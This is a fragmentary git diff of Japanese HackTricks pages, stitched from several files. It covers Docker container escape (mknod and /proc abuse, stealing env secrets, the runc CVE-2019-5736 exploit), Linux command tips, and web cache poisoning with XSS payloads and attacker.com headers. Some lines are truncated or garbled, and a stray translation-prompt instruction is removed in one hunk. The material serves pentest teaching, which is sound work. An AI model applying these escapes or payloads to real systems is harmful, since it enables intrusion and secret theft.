-**ホストの基礎情報を提供する可能性のあるいくつかのマウントされたファイル**があります。それらの中には、**ホストが何かが起こったときに実行するものを示す場合さえある**かもしれません(これにより攻撃者はコンテナから脱出することができます)。 +**ホストの基礎情報を提供する可能性のあるいくつかのマウントされたファイル**があります。これらのファイルのいくつかは、**ホストが何かが起こったときに実行するものを示す場合さえもあります**(これにより攻撃者はコンテナから脱出することができます)。 これらのファイルの悪用により、次のことが可能になります: @@ -376,10 +376,10 @@ bash -p #From non priv inside mounted folder もし、**コンテナ内でrootとしてアクセス**でき、かつ**非特権ユーザーとしてホストから脱出**できた場合、コンテナ内での特権昇格を行うために両方のシェルを悪用することができます。これは、コンテナ内でのデフォルトの機能であるMKNODの機能を利用することができるためです。詳細は[**この記事**](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)で説明されています。\ この機能により、コンテナ内のrootユーザーは**ブロックデバイスファイルを作成**することが許可されます。デバイスファイルは、**ハードウェアやカーネルモジュールにアクセス**するために使用される特殊なファイルです。たとえば、/dev/sdaのブロックデバイスファイルは、システムディスクの生データを**読み取るためのアクセス**を提供します。 -Dockerは、ブロックデバイスが**コンテナ内から悪用されないように**、コンテナに対してcgroupポリシーを設定してブロックデバイスの読み書きをブロックします。\ -ただし、もしブロックデバイスが**コンテナ内で作成された場合、コンテナの外部から/proc/PID/root/フォルダを介してアクセス**することができます。ただし、制限として、プロセスはコンテナの外部と内部で**同じユーザーによって所有されている必要があります**。 +Dockerは、ブロックデバイスが**コンテナ内から悪用されないように**するために、コンテナに対してcgroupポリシーを設定してブロックデバイスの読み書きをブロックします。\ +ただし、もしブロックデバイスが**コンテナ内で作成された場合、外部の誰かがコンテナの外部から/proc/PID/root/フォルダを介してアクセス**することができます。ただし、そのプロセスはコンテナの外部と内部で**同じユーザーによって所有されている必要があります**。 -**悪用**の例は、この[**解説記事**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)から引用します。 +**悪用**の例は、この[**解説記事**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)から引用されています。 ```bash # On the container as root cd / @@ -421,9 +421,7 @@ HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} ``` docker run --rm -it --pid=host ubuntu bash ``` -以下は、特権昇格に関するDockerセキュリティの内容です。以下の英文を日本語に翻訳し、同じマークダウンとHTMLの構文を保ったまま返してください。コード、ハッキング技術の名前、ハッキングに関連する単語、クラウド/SaaSプラットフォームの名前(Workspace、aws、gcpなど)、'leak'という単語、ペンテスト、マークダウンタグ以外のものは翻訳しないでください。また、翻訳とマークダウン構文以外の追加は行わないでください。 - -例えば、`ps auxn`のようなコマンドを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます。 +たとえば、`ps auxn`のようなコマンドを使用してプロセスをリストアップし、コマンド内の機密情報を検索することができます。 次に、**/proc/内のホストの各プロセスにアクセスできるため、envの秘密情報を盗むことができます**。以下のコマンドを実行してください。 ```bash @@ -454,11 +452,9 @@ cat /proc/635813/fd/4 ``` docker run --rm -it --network=host ubuntu bash ``` -もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で設定されている場合、そのコンテナのネットワークスタックはDockerホストから分離されず(コンテナはホストのネットワーキング名前空間を共有しています)、コンテナには独自のIPアドレスが割り当てられません。言い換えれば、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェース上でホストが送受信している**すべてのネットワークトラフィックを傍受**することができます(`tcpdump -i eth0`を使用)。 +もしコンテナがDockerの[ホストネットワーキングドライバ(`--network=host`)](https://docs.docker.com/network/host/)で設定されている場合、そのコンテナのネットワークスタックはDockerホストから分離されていません(コンテナはホストのネットワーキング名前空間を共有しています)し、コンテナには独自のIPアドレスが割り当てられません。言い換えると、**コンテナはすべてのサービスを直接ホストのIPにバインド**します。さらに、コンテナは共有インターフェース上でホストが送受信している**すべてのネットワークトラフィックを傍受**することができます(`tcpdump -i eth0`を使用)。 -例えば、これを使用してホストとメタデータインスタンス間のトラフィックを**スニフィングやスプーフィング**することができます。 - -以下の例のように: +例えば、次のような場合に使用できます: * [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) * [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/) @@ -476,19 +472,19 @@ docker run --rm -it --ipc=host ubuntu bash ### 権限の回復 -もし`unshare`シスコールが禁止されていない場合、次のコマンドを実行してすべての権限を回復することができます: +もし`unshare`システムコールが禁止されていない場合、次のコマンドを実行してすべての権限を回復することができます: ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` -### シンボリックリンクを使用したユーザーネームスペースの乱用 +### シンボリックリンクを介したユーザーネームスペースの乱用 -[https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)の記事で説明されている2番目のテクニックでは、ユーザーネームスペースを使用したバインドマウントの乱用により、ホスト内のファイル(特定の場合はファイルの削除)に影響を与える方法が示されています。 +[https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.f-secure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)の記事で説明されている2番目のテクニックでは、ユーザーネームスペースを使用してバインドマウントを乱用し、ホスト内のファイル(特定の場合はファイルの削除)に影響を与える方法が示されています。 -![](<../../../../.gitbook/assets/image (9) (1) (2).png>) +
-[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって**パワード**されたワークフローを簡単に構築して**自動化**できます。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -497,7 +493,7 @@ cat /proc/self/status | grep CapEff ### Runc exploit (CVE-2019-5736) -`docker exec`をrootとして実行できる場合(おそらくsudoで実行できる場合)、CVE-2019-5736を乱用してコンテナから特権を昇格させることができます([ここ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)にあるexploitを使用します)。このテクニックは、基本的にはコンテナからホストの**/bin/sh**バイナリを**上書き**するものであり、docker execを実行するとペイロードがトリガーされます。 +`docker exec`をrootとして実行できる場合(おそらくsudoで実行できる場合)、CVE-2019-5736を乱用して特権を昇格させることができます([ここ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)にあるexploitを使用します)。このテクニックは、基本的には**コンテナからホストの/bin/shバイナリを上書き**し、docker execを実行するとペイロードがトリガーされます。 ペイロードを適宜変更し、`go build main.go`でmain.goをビルドします。ビルドされたバイナリは、実行のためにdockerコンテナに配置する必要があります。\ 実行すると、`[+] Overwritten /bin/sh successfully`と表示されると、ホストマシンから次のコマンドを実行する必要があります: @@ -509,17 +505,17 @@ cat /proc/self/status | grep CapEff 詳細については、[https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)を参照してください。 {% hint style="info" %} -コンテナは他のCVEにも脆弱である可能性があります。リストは[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で確認できます。 +コンテナが脆弱である可能性のある他のCVEも存在します。リストは[https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)で確認できます。 {% endhint %} ## Dockerカスタムエスケープ ### Dockerエスケープの対象範囲 -* **ネームスペース**:ネームスペースによって、プロセスは他のプロセスと完全に分離されるため、ネームスペースを介した他のプロセスとのやり取りから脱出することはできません(デフォルトでは、IPCs、UNIXソケット、ネットワークサービス、D-Bus、他のプロセスの`/proc`を介した通信はできません)。 +* **ネームスペース**:プロセスはネームスペースによって他のプロセスと完全に分離されるため、ネームスペースによる他のプロセスとの相互作用を回避することはできません(デフォルトでは、IPCs、UNIXソケット、ネットワークサービス、D-Bus、他のプロセスの/procを介した通信はできません)。 * **ルートユーザー**:デフォルトでは、プロセスを実行するユーザーはルートユーザーです(ただし、権限は制限されています)。 * **機能**:Dockerは次の機能を残します:`cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -* **シスコール**:これらはルートユーザーが呼び出せないシスコールです(機能の不足+Seccompのため)。他のシスコールを使用して脱出を試みることができます。 +* **シスコール**:これらはルートユーザーが呼び出せないシスコールです(機能の不足+Seccompのため)。他のシスコールを使用してエスケープを試みることができます。 {% tabs %} {% tab title="x64 syscalls" %} @@ -1031,7 +1027,7 @@ cat /proc/self/status | grep CapEff | 639 | semtimedop_time64 | | 640 | rt_sigtimedwait_time64 | | 641 | futex_time64 | -| 642 | sched_rr_get_interval_time +| 642 | sched_rr_get_interval_time64 ``` 0x029 -- pivot_root 0x059 -- acct @@ -1115,7 +1111,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new -![](<../../../../.gitbook/assets/image (9) (1) (2).png>) +
Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ Get Access Today: diff --git a/linux-hardening/useful-linux-commands/README.md b/linux-hardening/useful-linux-commands/README.md index feaeadd35..93c8ef15f 100644 --- a/linux-hardening/useful-linux-commands/README.md +++ b/linux-hardening/useful-linux-commands/README.md @@ -1,9 +1,8 @@ # 便利なLinuxコマンド -![](<../../.gitbook/assets/image (9) (1) (2).png>) +
-\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -13,10 +12,10 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください。 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。 +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** @@ -139,10 +138,10 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` -![](<../../.gitbook/assets/image (9) (1) (2).png>) +
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスを取得してください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -172,34 +171,52 @@ i686-mingw32msvc-gcc -o executable useradd.c `grep`コマンドは、テキストファイル内で特定のパターンを検索するために使用されます。以下は、`grep`コマンドの一般的な使用法です。 ```bash -grep [オプション] パターン ファイル名 +grep [オプション] パターン [ファイル名] ``` - `[オプション]`:`grep`コマンドのオプションを指定します。例えば、`-i`オプションは大文字と小文字を区別しない検索を行います。 - `パターン`:検索するテキストのパターンを指定します。 -- `ファイル名`:検索対象のファイル名を指定します。 +- `[ファイル名]`:検索対象のファイル名を指定します。省略すると、標準入力から読み取ります。 -例えば、以下のコマンドは、`file.txt`というファイル内で「hello」という文字列を検索します。 +以下は、いくつかの一般的な`grep`コマンドの例です。 + +- ファイル内で特定の文字列を検索する: ```bash -grep hello file.txt +grep "文字列" ファイル名 ``` -`grep`コマンドは、検索結果を表示するだけでなく、他のコマンドと組み合わせて使用することもできます。例えば、`grep`コマンドの出力を別のファイルにリダイレクトすることもできます。 +- 大文字と小文字を区別せずに検索する: ```bash -grep hello file.txt > output.txt +grep -i "文字列" ファイル名 ``` -また、`grep`コマンドは正規表現を使用してパターンを指定することもできます。正規表現を使用することで、より柔軟な検索が可能になります。 +- 正規表現を使用して検索する: ```bash -grep -E '[0-9]{3}-[0-9]{3}-[0-9]{4}' file.txt +grep -E "パターン" ファイル名 ``` -上記の例では、`file.txt`内で電話番号のパターン(XXX-XXX-XXXX)を検索しています。 +- ファイル内で特定の文字列を含まない行を検索する: -`grep`コマンドは、Linuxシステムで非常に便利なツールです。検索やパターンマッチングに関連する作業を効率的に行うために、`grep`コマンドを積極的に活用しましょう。 +```bash +grep -v "文字列" ファイル名 +``` + +- ファイル内で特定の文字列を含む行の数をカウントする: + +```bash +grep -c "文字列" ファイル名 +``` + +- ファイル内で特定の文字列を含む行の前後の行も表示する: + +```bash +grep -A [行数] -B [行数] "文字列" ファイル名 +``` + +`grep`コマンドは非常に強力であり、テキストファイル内での検索に広く使用されています。これらの例を使用して、必要な情報を効率的に見つけることができます。 ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -281,93 +298,38 @@ egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13 ``` ## Nmap検索のヘルプ -Nmap is a powerful network scanning tool used to discover hosts and services on a computer network. It provides a wide range of options and features to customize and optimize the scanning process. Here are some useful commands and options to help you get started with Nmap: +Nmap is a powerful network scanning tool that allows you to discover hosts and services on a computer network. It provides a wide range of options and features to customize your scans and obtain detailed information about the target network. -Nmapは、コンピュータネットワーク上のホストやサービスを発見するために使用される強力なネットワークスキャンツールです。スキャンプロセスをカスタマイズして最適化するためのさまざまなオプションと機能を提供しています。以下に、Nmapを使い始めるための便利なコマンドとオプションをいくつか紹介します。 +Nmapは、コンピュータネットワーク上のホストやサービスを発見するための強力なネットワークスキャンツールです。さまざまなオプションと機能を提供し、スキャンをカスタマイズして対象ネットワークに関する詳細な情報を取得することができます。 -### Basic Scanning +To get started with Nmap, you can use the following basic command: -基本的なスキャン - -To perform a basic scan of a target host, use the following command: - -ターゲットホストの基本的なスキャンを実行するには、次のコマンドを使用します。 +Nmapを使い始めるには、次の基本コマンドを使用します: ``` -nmap +nmap [target] ``` -Replace `` with the IP address or hostname of the target host. +Replace `[target]` with the IP address or hostname of the target you want to scan. -``をターゲットホストのIPアドレスまたはホスト名に置き換えてください。 +`[target]`の部分をスキャンしたい対象のIPアドレスまたはホスト名に置き換えてください。 -### Specifying Ports +Nmap also provides various scan techniques and options to customize your scans. Some commonly used options include: -ポートの指定 +Nmapは、さまざまなスキャンテクニックとオプションを提供しており、スキャンをカスタマイズすることができます。よく使用されるオプションには、次のものがあります: -By default, Nmap scans the most common 1,000 ports. However, you can specify a custom range of ports to scan using the `-p` option. For example: +- `-p [port]`: Specifies the port number(s) to scan. You can specify a single port, a range of ports, or a comma-separated list of ports. +- `-p [ポート]`: スキャンするポート番号を指定します。単一のポート、ポートの範囲、またはカンマ区切りのポートのリストを指定することができます。 -デフォルトでは、Nmapは最も一般的な1,000ポートをスキャンします。ただし、`-p`オプションを使用してスキャンするポートのカスタム範囲を指定することができます。例えば: +- `-sV`: Enables version detection, which attempts to determine the version of the services running on the target ports. +- `-sV`: バージョン検出を有効にし、対象ポートで実行されているサービスのバージョンを特定しようとします。 -``` -nmap -p -``` +- `-O`: Enables operating system detection, which tries to determine the operating system running on the target host. +- `-O`: オペレーティングシステム検出を有効にし、対象ホストで実行されているオペレーティングシステムを特定しようとします。 -Replace `` with the desired range of ports (e.g., `80-100` for ports 80 to 100). +These are just a few examples of the options available in Nmap. You can explore more options and techniques by referring to the Nmap documentation. -``を希望するポートの範囲(例:ポート80から100の場合は`80-100`)に置き換えてください。 - -### Service and Version Detection - -サービスとバージョンの検出 - -Nmap can also detect the services and versions running on open ports. Use the `-sV` option to enable service and version detection. For example: - -Nmapは、オープンポートで実行されているサービスとバージョンを検出することもできます。サービスとバージョンの検出を有効にするには、`-sV`オプションを使用します。例えば: - -``` -nmap -sV -``` - -Replace `` with the IP address or hostname of the target host. - -``をターゲットホストのIPアドレスまたはホスト名に置き換えてください。 - -### OS Detection - -OSの検出 - -Nmap can also attempt to detect the operating system running on the target host. Use the `-O` option to enable OS detection. For example: - -Nmapは、ターゲットホストで実行されているオペレーティングシステムを検出する試みも行うことができます。OS検出を有効にするには、`-O`オプションを使用します。例えば: - -``` -nmap -O -``` - -Replace `` with the IP address or hostname of the target host. - -``をターゲットホストのIPアドレスまたはホスト名に置き換えてください。 - -### Script Scanning - -スクリプトスキャン - -Nmap has a scripting engine that allows you to run scripts to automate various tasks during the scanning process. Use the `--script` option to specify a script to run. For example: - -Nmapには、スキャンプロセス中にさまざまなタスクを自動化するためのスクリプトを実行するためのスクリプトエンジンがあります。実行するスクリプトを指定するには、`--script`オプションを使用します。例えば: - -``` -nmap --script ``` ### バックエンドサーバーから有害な応答を引き出す -特定したパラメータ/ヘッダーがどのように「サニタイズ」されているか、またはどのようにヘッダーから応答に影響を与えているかを確認します。それを悪用することはできますか(XSSを実行するか、自分が制御するJSコードをロードするか? DoSを実行するか?...) +特定したパラメータ/ヘッダーがどのように「サニタイズ」されているか、またはどのようにヘッダーからの応答に影響を与えているかを確認します。それを悪用することはできますか(XSSを実行したり、自分が制御するJSコードをロードしたりしますか? DoSを実行しますか?...) ### 応答をキャッシュする 悪用できるページ、使用するパラメータ/ヘッダー、およびその悪用方法を特定したら、ページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があります。数秒間試行する必要があるかもしれません。\ -応答のヘッダー「`X-Cache`」は非常に役立つ場合があります。リクエストがキャッシュされていない場合は値「`miss`」を持ち、キャッシュされている場合は値「`hit`」を持つことがあります。\ -ヘッダー「`Cache-Control`」も興味深いです。リソースがキャッシュされているかどうか、次回リソースが再度キャッシュされる予定の時間を知るためのものです:`Cache-Control: public, max-age=1800`\ -もう1つの興味深いキャッシュに関連するヘッダーは「`Vary`」です。このヘッダーは通常はキーとされないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すためによく使用されます。したがって、ユーザーがターゲットとしている被害者の「User-Agent」を知っている場合、特定の「User-Agent」を使用しているユーザーのキャッシュを改ざんすることができます。\ +応答のヘッダー「`X-Cache`」は非常に役立つ情報です。リクエストがキャッシュされていない場合は値「`miss`」を持ち、キャッシュされている場合は値「`hit`」を持つ可能性があります。\ +ヘッダー「`Cache-Control`」も興味深い情報です。リソースがキャッシュされているかどうか、次回リソースが再度キャッシュされる予定の時間を知ることができます。「Cache-Control: public, max-age=1800」\ +キャッシュに関連するもう1つの興味深いヘッダーは「`Vary`」です。このヘッダーは通常はキーとされないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すためによく使用されます。したがって、ユーザーがターゲットとしている被害者の「User-Agent」を知っている場合、特定の「User-Agent」を使用しているユーザーのキャッシュを汚染することができます。\ キャッシュに関連するもう1つのヘッダーは「`Age`」です。これはオブジェクトがプロキシキャッシュに存在している時間を秒単位で定義します。 -リクエストをキャッシュする際には、使用するヘッダーに注意してください。いくつかのヘッダーは予期しない方法でキーとして使用される可能性があり、被害者は同じヘッダーを使用する必要があります。キャッシュポイズニングをテストする際には、異なるブラウザで常に動作するかどうかを確認してください。 +リクエストをキャッシュする際には、使用するヘッダーに注意してください。いくつかのヘッダーは予期しない方法でキーとして使用される可能性があり、被害者は同じヘッダーを使用する必要があります。キャッシュポイズニングをテストする際には、異なるブラウザで動作するかどうかを常に確認してください。 ## 攻撃の例 ### 最も簡単な例 -「X-Forwarded-For」というヘッダーが応答でサニタイズされずに反映されています。\ -基本的なXSSペイロードを送信し、キャッシュを改ざんしてページにアクセスするすべてのユーザーにXSSを実行できます。 +「X-Forwarded-For」というヘッダーが応答に無検査で反映されています。\ +基本的なXSSペイロードを送信し、キャッシュを汚染することで、ページにアクセスするすべての人がXSSになります。 ```markup GET /en?region=uk HTTP/1.1 Host: innocent-website.com @@ -85,11 +85,11 @@ GET / HTTP/1.1 Host: vulnerable.com Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` -注意してください。脆弱なクッキーがユーザーによって非常に使用されている場合、定期的なリクエストによってキャッシュがクリーニングされる可能性があります。 +注意してください。もし脆弱なクッキーがユーザーによって頻繁に使用されている場合、定期的なリクエストによってキャッシュがクリアされる可能性があります。 -### 複数のヘッダーを使用してウェブキャッシュの改ざん脆弱性を悪用する +### 複数のヘッダーを使用してウェブキャッシュの汚染脆弱性を悪用する -ウェブキャッシュを悪用するためには、**複数のキーのない入力**を悪用する必要がある場合があります。たとえば、`X-Forwarded-Host`を自分が制御するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に転送し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクト先のページを制御することができます。 +時には、キャッシュを悪用するために複数のキーのない入力を悪用する必要があります。例えば、`X-Forwarded-Host`を自分が制御するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。もし**サーバー**がすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名として`X-Forwarded-Scheme`ヘッダーを使用している場合、リダイレクト先のページを制御することができます。 ```markup GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -111,19 +111,19 @@ X-Host: attacker.com ### Webキャッシュポイズニングの自動テスト -[Webキャッシュ脆弱性スキャナー](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用すると、Webキャッシュポイズニングの自動テストが行えます。このツールは多くの異なる技術をサポートしており、高度にカスタマイズ可能です。 +[Webキャッシュ脆弱性スキャナー](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、Webキャッシュポイズニングの自動テストを実行することができます。このツールは多くの異なる技術をサポートしており、高度にカスタマイズ可能です。 使用例: `wcvs -u example.com` -![](<../.gitbook/assets/image (9) (1) (2).png>) +
\ -[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。\ +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、**自動化**することができます。\ 今すぐアクセスを取得してください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## 脆弱な例 +## 脆弱性のある例 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) @@ -135,7 +135,7 @@ ATSはURL内のフラグメントを削除せずに転送し、キャッシュ ### GitLab + GCP CP-DoS -GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー `x-http-method-override`**をサポートしています。そのため、ヘッダー `x-http-method-override: HEAD` を送信し、キャッシュを毒化して空のレスポンスボディを返すことができます。また、メソッド `PURGE` もサポートしています。 +GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー `x-http-method-override`**をサポートしています。そのため、ヘッダー `x-http-method-override: HEAD` を送信し、キャッシュを毒化して空のレスポンスボディを返すことができます。また、メソッド `PURGE` もサポートすることができます。 ### Rack Middleware (Ruby on Rails) @@ -143,7 +143,7 @@ Ruby on Railsアプリケーションは、しばしばRackミドルウェアと ![](<../.gitbook/assets/image (159) (2).png>) -ヘッダー `x-forwarded-scheme: http` を送信すると、同じ場所への301リダイレクトが発生し、この例のようにそのリソースに対するDoSが発生します。 +ヘッダー `x-forwarded-scheme: http` を送信すると、同じ場所への301リダイレクトが発生し、このリソースに対するDoSが発生します。 ![](<../.gitbook/assets/image (166).png>) @@ -153,27 +153,27 @@ Ruby on Railsアプリケーションは、しばしばRackミドルウェアと ### 403とストレージバケット -以前、**Cloudflare**は**403のレスポンスをキャッシュ**していました。そのため、**S3**や**Azure Storage Blobs**にアクセスしようとする**不正な認証ヘッダー**を送信すると、キャッシュされた403が返されます。ただし、Cloudflareはもはや403のレスポンスをキャッシュしないため、他のプロキシでは機能しない場合があります。 +以前、**Cloudflare**は**403のレスポンスをキャッシュ**していました。そのため、**S3**や**Azure Storage Blobs**にアクセスしようとする際に不正な認証ヘッダーを送信すると、キャッシュされた403が返されます。ただし、Cloudflareは現在は403のレスポンスをキャッシュしなくなっていますが、他のプロキシでは機能する可能性があります。 ![](<../.gitbook/assets/image (171).png>) ### キー付きパラメータの注入 -キャッシュはしばしばキャッシュキーに特定のGETパラメータのみを含めるように構成されています。 +キャッシュはしばしば、キャッシュキーに特定のGETパラメータのみを含めるように構成されています。 たとえば、FastlyはVarnishを使用してリクエストの `size` パラメータをキャッシュしますが、`siz%65` パラメータも送信し、不正な値を含めると、キャッシュキーは適切に書かれた `size` パラメータで構築されますが、バックエンドはURLエンコードされたパラメータ内の値を使用します。 ![](<../.gitbook/assets/image (180).png>) -2番目の `size` パラメータをURLエンコードすると、キャッシュには無視されますが、バックエンドには使用されます。パラメータに値0を指定すると、キャッシュ可能な400 Bad Requestが返されます。 +2番目の `size` パラメータをURLエンコードすることで、キャッシュには無視されますが、バックエンドには使用されます。パラメータに値0を指定すると、キャッシュ可能な400 Bad Requestが返されます。 -### ユーザーエージェントルール +### ユーザーエージェントのルール FFUFやNucleiなどのツールが生成するトラフィックの量が多いため、一部の開発者はユーザーエージェントに一致するリクエストをブロックすることを決定しました。皮肉なことに、これらの調整は望ましくないキャッシュポイズニングとDoSの機会を生み出すことがあります。 ![](<../.gitbook/assets/image (167) (2).png>) -私はこの方法が複数のターゲットで機能することを確認しました。異なるツールやスキャナーのユーザーエージェントを使用したリクエストに対して有効でした。 +私はこの方法を異なるツールやスキャナーのユーザーエージェントで複数のターゲットで試した結果、うまく機能しました。 ### 非正規のヘッダーフィールド @@ -181,7 +181,7 @@ FFUFやNucleiなどのツールが生成するトラフィックの量が多い ![](<../.gitbook/assets/image (175) (2).png>) -理論上、ヘッダー名には**tchar**にリストされていない文字が含まれている場合、400 Bad Requestで拒否されるはずです。しかし、実際には、サーバーは常にRFCを遵守しているわけではありません。このニュアンスを悪用する最も簡単な方法は、無効なヘッダーを拒否せずに転送し、キャッシュコントロールヘッダーが存在しない限り、400エラーをキャッシュするAkamaiをターゲットにすることでした。 +理論上は、ヘッダー名には**tchar**にリストされていない文字が含まれている場合、400 Bad Requestで拒否されるはずです。しかし、実際には、サーバーは常にRFCを遵守しているわけではありません。このニュアンスを悪用する最も簡単な方法は、RFCを拒否しないAkamaiをターゲットにすることでしたが、キャッシュコントロールヘッダーが存在しない限り、無効なヘッダーを転送し、キャッシュされた400エラーをキャッシュします。 ![](<../.gitbook/assets/image (163).png>) @@ -195,7 +195,7 @@ FFUFやNucleiなどのツールが生成するトラフィックの量が多い キャッシュデセプションの目的は、クライアントがキャッシュに保存されるリソースを、それらの機密情報を含んだ状態で読み込むことです。 -まず、`.css`、`.js` +まず、 ## 参考文献 * [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) @@ -204,7 +204,7 @@ FFUFやNucleiなどのツールが生成するトラフィックの量が多い * [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/) * [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) -![](<../.gitbook/assets/image (9) (1) (2).png>) +
